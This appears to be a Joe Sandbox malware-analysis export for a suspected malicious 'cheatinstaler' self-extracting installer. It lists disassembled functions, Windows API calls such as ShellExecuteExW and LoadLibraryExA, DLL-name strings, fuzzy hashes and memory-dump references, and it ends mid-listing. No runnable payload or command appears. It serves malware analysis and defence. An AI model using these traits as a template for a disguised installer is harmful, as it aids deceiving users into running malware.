mlang.dll, xrefs: 00007FF6C16CE2BB
peerdist.dll, xrefs: 00007FF6C16CE38D
ieframe.dll, xrefs: 00007FF6C16CE120
psapi.dll, xrefs: 00007FF6C16CE115
cabinet.dll, xrefs: 00007FF6C16CE1DB
rasadhlp.dll, xrefs: 00007FF6C16CE30F
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00007FF6C16CE73B
ws2help.dll, xrefs: 00007FF6C16CE10A
usp10.dll, xrefs: 00007FF6C16CE0DE
cryptui.dll, xrefs: 00007FF6C16CE1A3
RpcRtRemote.dll, xrefs: 00007FF6C16CE363
dwmapi.dll, xrefs: 00007FF6C16CE0BD, 00007FF6C16CE661
samlib.dll, xrefs: 00007FF6C16CE2D7
version.dll, xrefs: 00007FF6C16CE07B
secur32.dll, xrefs: 00007FF6C16CE1CD
msasn1.dll, xrefs: 00007FF6C16CE195
SetDllDirectoryW, xrefs: 00007FF6C16CE026
SSPICLI.DLL, xrefs: 00007FF6C16CE09C
propsys.dll, xrefs: 00007FF6C16CE2AD
devrtl.dll, xrefs: 00007FF6C16CE29F
cscapi.dll, xrefs: 00007FF6C16CE22F
dnsapi.DLL, xrefs: 00007FF6C16CE259
samcli.dll, xrefs: 00007FF6C16CE2C9
imageres.dll, xrefs: 00007FF6C16CE24B
dhcpcsvc.dll, xrefs: 00007FF6C16CE32B
comres.dll, xrefs: 00007FF6C16CE0F4
ntmarta.dll, xrefs: 00007FF6C16CE1F7
setupapi.dll, xrefs: 00007FF6C16CE141
cryptbase.dll, xrefs: 00007FF6C16CE0C8
DXGIDebug.dll, xrefs: 00007FF6C16CE086, 00007FF6C16CE5B6
SetDefaultDllDirectories, xrefs: 00007FF6C16CE053
profapi.dll, xrefs: 00007FF6C16CE205
linkinfo.dll, xrefs: 00007FF6C16CE347
browcli.dll, xrefs: 00007FF6C16CE301
userenv.dll, xrefs: 00007FF6C16CE15D
UXTheme.dll, xrefs: 00007FF6C16CE0B2
atl.dll, xrefs: 00007FF6C16CE136
iphlpapi.DLL, xrefs: 00007FF6C16CE267
aclui.dll, xrefs: 00007FF6C16CE371
WindowsCodecs.dll, xrefs: 00007FF6C16CE213
XmlLite.dll, xrefs: 00007FF6C16CE339
netapi32.dll, xrefs: 00007FF6C16CE16B
clbcatq.dll, xrefs: 00007FF6C16CE0E9
lpk.dll, xrefs: 00007FF6C16CE0D3
wintrust.dll, xrefs: 00007FF6C16CE1B1

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Console$FileHandle$AddressProcProcess$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadModulePointerReadSleepStringSystemVersionWrite
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$kernel32$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll
API String ID: 1496594111-2013832382
Opcode ID: 652c747d7e630e86415ee3ad066f254a367a94a472fe2acd263d178260856de2
Instruction ID: e462041f5ca948c9966cebe60edf4a86fde15a071c13dfd97e29767e636a5283
Opcode Fuzzy Hash: 652c747d7e630e86415ee3ad066f254a367a94a472fe2acd263d178260856de2
Instruction Fuzzy Hash: 87324E31A09B8295EB119F26E8502E973B8FF44356F500236EADD877A5EF3CE254D740

Function 00007FF6C16C98DC Relevance: 25.2, APIs: 3, Strings: 11, Instructions: 702COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16C8E58: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C16C8F8D

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6C16C9F75
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16CA42F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16CA435

Part of subcall function 00007FF6C16D0BBC: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6C16D0B44), ref: 00007FF6C16D0BE9

Strings

, xrefs: 00007FF6C16C9DF9
@%s:, xrefs: 00007FF6C16C9F57
$%s:, xrefs: 00007FF6C16C9F50
,, xrefs: 00007FF6C16C9FAA
DIALOG, xrefs: 00007FF6C16C9DCD
STRINGS, xrefs: 00007FF6C16C9DC1
DIRECTION, xrefs: 00007FF6C16C9DE5
MENU, xrefs: 00007FF6C16C9DD9
*messages***, xrefs: 00007FF6C16C9BC6
RTL, xrefs: 00007FF6C16C9F2E
*messages***, xrefs: 00007FF6C16C9C04

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ByteCharConcurrency::cancel_current_taskMultiWide_snwprintf
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS
API String ID: 3629253777-3268106645
Opcode ID: c1941742baf2d9c3be52f390a0a923855bad3b4b9f203786c8d0fad0fa7aba42
Instruction ID: d7cf854d2d8fa313f87b732558c737960786e6daa4bcd6aca25e207932b18579
Opcode Fuzzy Hash: c1941742baf2d9c3be52f390a0a923855bad3b4b9f203786c8d0fad0fa7aba42
Instruction Fuzzy Hash: F662BF22A1969285EF10EF26D4682BD2365FF44789F808136DADE877D5EF3CE544E340

Function 00007FF6C16E1900 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 195
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6C16E1558: DloadProtectSection.DELAYIMP ref: 00007FF6C16E15C9

RaiseException.KERNEL32 ref: 00007FF6C16E19A7
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF6C16E1993

Part of subcall function 00007FF6C16E1868: DloadProtectSection.DELAYIMP ref: 00007FF6C16E18C7

LoadLibraryExA.KERNELBASE ref: 00007FF6C16E1A46
GetLastError.KERNEL32 ref: 00007FF6C16E1A54
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF6C16E1A86
RaiseException.KERNEL32 ref: 00007FF6C16E1A9A

Strings

H, xrefs: 00007FF6C16E1974

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: DloadSection$AccessExceptionProtectRaiseReleaseWrite$ErrorLastLibraryLoad
String ID: H
API String ID: 3432403771-2852464175
Opcode ID: cf3fc932a6b7fb7fc9ef8320b4dd67bfc8d7ec91281715f792326570f1d4a57f
Instruction ID: e1dca8b991296e2cf5584c993aebd3b58ccfa4125b11f3a6365251b6b6262fec
Opcode Fuzzy Hash: cf3fc932a6b7fb7fc9ef8320b4dd67bfc8d7ec91281715f792326570f1d4a57f
Instruction Fuzzy Hash: 98916822B04B128AEB50CFA6D8446AC33B5FF09B9AB044235DEDD97754EF38E545E340

Function 00007FF6C16DF4E0 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 285
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32 ref: 00007FF6C16DF747
ShowWindow.USER32 ref: 00007FF6C16DF786
GetExitCodeProcess.KERNEL32 ref: 00007FF6C16DF7BD
CloseHandle.KERNEL32 ref: 00007FF6C16DF7E7
ShowWindow.USER32 ref: 00007FF6C16DF83F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DF8FB

Strings

.exe, xrefs: 00007FF6C16DF7F2
.inf, xrefs: 00007FF6C16DF675
p, xrefs: 00007FF6C16DF529
Install, xrefs: 00007FF6C16DF684

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_invalid_parameter_noinfo_noreturn
String ID: .exe$.inf$Install$p
API String ID: 1054546013-3607691742
Opcode ID: bd083846a701d2a936ecc778425380adf73900159b5be9ae941c3623c510174f
Instruction ID: ba380088b11c62655b69a318d3d6943d4165fed163de26730223a61792de494a
Opcode Fuzzy Hash: bd083846a701d2a936ecc778425380adf73900159b5be9ae941c3623c510174f
Instruction Fuzzy Hash: D4C18F62F1860295FB10DF27E9502B923B1AF95B82F6440B1DACDC7BA5DF3CE4929340

Function 00007FF6C16DF0A4 Relevance: 16.6, APIs: 11, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6C16DAE1C: PeekMessageW.USER32 ref: 00007FF6C16DAE32
Part of subcall function 00007FF6C16DAE1C: GetMessageW.USER32 ref: 00007FF6C16DAE49
Part of subcall function 00007FF6C16DAE1C: IsDialogMessageW.USER32 ref: 00007FF6C16DAE60
Part of subcall function 00007FF6C16DAE1C: TranslateMessage.USER32 ref: 00007FF6C16DAE6F
Part of subcall function 00007FF6C16DAE1C: DispatchMessageW.USER32 ref: 00007FF6C16DAE7A

GetDlgItem.USER32 ref: 00007FF6C16DF0E3
ShowWindow.USER32 ref: 00007FF6C16DF109
IsDlgButtonChecked.USER32 ref: 00007FF6C16DF11E
IsDlgButtonChecked.USER32 ref: 00007FF6C16DF136
IsDlgButtonChecked.USER32 ref: 00007FF6C16DF157
IsDlgButtonChecked.USER32 ref: 00007FF6C16DF173
IsDlgButtonChecked.USER32 ref: 00007FF6C16DF1B6
IsDlgButtonChecked.USER32 ref: 00007FF6C16DF1D4
IsDlgButtonChecked.USER32 ref: 00007FF6C16DF1E8
IsDlgButtonChecked.USER32 ref: 00007FF6C16DF212
IsDlgButtonChecked.USER32 ref: 00007FF6C16DF22A

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ButtonChecked$Message$DialogDispatchItemPeekShowTranslateWindow
String ID:
API String ID: 4119318379-0
Opcode ID: c58ef51af4c11ae469b78d40ba7290d4e9656f32b0895ce54e4debee0d1a06d9
Instruction ID: 67b7d9805271181ae970d12952c0b4cd436be142906249843c76d14e4e3bc2b0
Opcode Fuzzy Hash: c58ef51af4c11ae469b78d40ba7290d4e9656f32b0895ce54e4debee0d1a06d9
Instruction Fuzzy Hash: CE41D531B1464286F700DF62E820BAE3360EB89B9AF641135DD8E47B96CF7DD4458764

Function 00007FF6C16BEF10 Relevance: 11.0, APIs: 7, Instructions: 453COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BF542
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BF548
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BF554
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BF55A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BF560
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BF56C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BF572

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: e994a9db728abc9e3b7c2f1aeddd0c1bbb8b4fdc17eb45be45aeabee48c93372
Instruction ID: dc609190e75a2c92d0de149e3f6e4a4a8ed1cad562f3d9f0642dc69cb0807824
Opcode Fuzzy Hash: e994a9db728abc9e3b7c2f1aeddd0c1bbb8b4fdc17eb45be45aeabee48c93372
Instruction Fuzzy Hash: 5212D262F0874184EB10CF66D4442AD6372EB457A9F404276EADC97AEADF3CE586E340

Function 00007FF6C16C24C0 Relevance: 9.2, APIs: 6, Instructions: 164
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF6C16C259B
GetLastError.KERNEL32 ref: 00007FF6C16C25AE
CreateFileW.KERNEL32 ref: 00007FF6C16C260E
GetLastError.KERNEL32 ref: 00007FF6C16C2617
SetFileTime.KERNEL32 ref: 00007FF6C16C26C9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C2736

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: File$CreateErrorLast$Time_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3536497005-0
Opcode ID: 7e74b88d639c8d570aa5cbccebcd9353285634c108726f52f9c563d03d833b9c
Instruction ID: 1d5c95053de4f57f5608424e503a3894dd3efcf03ed7ce7ed97c904cc72e2ddc
Opcode Fuzzy Hash: 7e74b88d639c8d570aa5cbccebcd9353285634c108726f52f9c563d03d833b9c
Instruction Fuzzy Hash: 7D61F266A1878186EB209F2AE45036E67A1BB857A8F101338DEE943AD8DF3DD054D744

Function 00007FF6C16DFD0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNEL32 ref: 00007FF6C16DFD43
SetEnvironmentVariableW.KERNELBASE ref: 00007FF6C16DFDBC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DFE1B

Strings

sfxcmd, xrefs: 00007FF6C16DFD3C
sfxpar, xrefs: 00007FF6C16DFDB5

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: EnvironmentVariable$_invalid_parameter_noinfo_noreturn
String ID: sfxcmd$sfxpar
API String ID: 3540648995-3493335439
Opcode ID: 65c4bc3e57016a74e8805048ea790c6f4a694eba210e4a6448e418b17608a108
Instruction ID: 7462bcf18850036b8d49be627d27291dfdf8c8a39fcae0157203e015f7239e26
Opcode Fuzzy Hash: 65c4bc3e57016a74e8805048ea790c6f4a694eba210e4a6448e418b17608a108
Instruction Fuzzy Hash: 7E319032A14A1684EF00DF6AE8841AC3371FB48B99F140171DEED977A9DF38E182D344

Function 00007FF6C16DB014 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadBitmapW.USER32 ref: 00007FF6C16DB02A
GetObjectW.GDI32 ref: 00007FF6C16DB05B
DeleteObject.GDI32 ref: 00007FF6C16DB095
DeleteObject.GDI32 ref: 00007FF6C16DB0C5

Part of subcall function 00007FF6C16D8624: FindResourceW.KERNELBASE ref: 00007FF6C16D863D
Part of subcall function 00007FF6C16D8624: SizeofResource.KERNEL32 ref: 00007FF6C16D8659
Part of subcall function 00007FF6C16D8624: LoadResource.KERNEL32 ref: 00007FF6C16D8673
Part of subcall function 00007FF6C16D8624: LockResource.KERNEL32 ref: 00007FF6C16D8685
Part of subcall function 00007FF6C16D8624: GlobalAlloc.KERNELBASE ref: 00007FF6C16D86A6
Part of subcall function 00007FF6C16D8624: GlobalLock.KERNEL32 ref: 00007FF6C16D86BB
Part of subcall function 00007FF6C16D8624: GdipAlloc.GDIPLUS ref: 00007FF6C16D86FE
Part of subcall function 00007FF6C16D8624: GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF6C16D8769
Part of subcall function 00007FF6C16D8624: GlobalUnlock.KERNEL32 ref: 00007FF6C16D878C
Part of subcall function 00007FF6C16D8624: GlobalFree.KERNEL32 ref: 00007FF6C16D8795

Strings

], xrefs: 00007FF6C16DB063

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: GlobalResource$Object$AllocBitmapDeleteGdipLoadLock$CreateFindFreeFromSizeofUnlock
String ID: ]
API String ID: 2347093688-3352871620
Opcode ID: 2f79d63664e457f963bfbd157e1c525b341384e02eb8e860e1f42d2dee528bbf
Instruction ID: 0e2aa29ca81e46c6c517667a060886190d01b09b1233e566492f145b896ca6f6
Opcode Fuzzy Hash: 2f79d63664e457f963bfbd157e1c525b341384e02eb8e860e1f42d2dee528bbf
Instruction Fuzzy Hash: 4B118621B0964242FF64FF23A6587795392AF89BC6F280034DDDD87B9ADE2CE814D700

Function 00007FF6C16DAE1C Relevance: 7.5, APIs: 5, Instructions: 27
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32 ref: 00007FF6C16DAE32
GetMessageW.USER32 ref: 00007FF6C16DAE49
IsDialogMessageW.USER32 ref: 00007FF6C16DAE60
TranslateMessage.USER32 ref: 00007FF6C16DAE6F
DispatchMessageW.USER32 ref: 00007FF6C16DAE7A

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 8f901ab8bb575df3ccfb48a5cb3294f091b017f84468599a2020223c8e70b7dc
Instruction ID: 5e73a8bcca8494c47fc6de15bd20d685c0880ec123a3783e5799b8dc60bda1d4
Opcode Fuzzy Hash: 8f901ab8bb575df3ccfb48a5cb3294f091b017f84468599a2020223c8e70b7dc
Instruction Fuzzy Hash: DEF0F936B3854282FB519F22E8A5A766361FFD0B46FA05431EACEC2955DF2CD508EB10

Function 00007FF6C16D91E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32 ref: 00007FF6C16D9211
SHAutoComplete.SHLWAPI ref: 00007FF6C16D9255

Part of subcall function 00007FF6C16D13C4: CompareStringW.KERNEL32 ref: 00007FF6C16D13E3

FindWindowExW.USER32 ref: 00007FF6C16D923F

Strings

EDIT, xrefs: 00007FF6C16D921B, 00007FF6C16D9233

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 5198dd27efd6ef2cfe81d4e1a42d30dc263c523227a297f5f4c02164b2b5e029
Instruction ID: d8ce63009127d746acdfba25e33428f8e57e8bb01dca4c8e05ee64f7d844cf77
Opcode Fuzzy Hash: 5198dd27efd6ef2cfe81d4e1a42d30dc263c523227a297f5f4c02164b2b5e029
Instruction Fuzzy Hash: 20018161B18A8381FB209F23F8207F66390AF99746F544031CDCE87755DE3CE149EA50

Function 00007FF6C16C2CE0 Relevance: 6.1, APIs: 4, Instructions: 136
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(00007FF6C16C8C9A), ref: 00007FF6C16C2D22
WriteFile.KERNEL32 ref: 00007FF6C16C2D6C
WriteFile.KERNELBASE ref: 00007FF6C16C2D9A

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
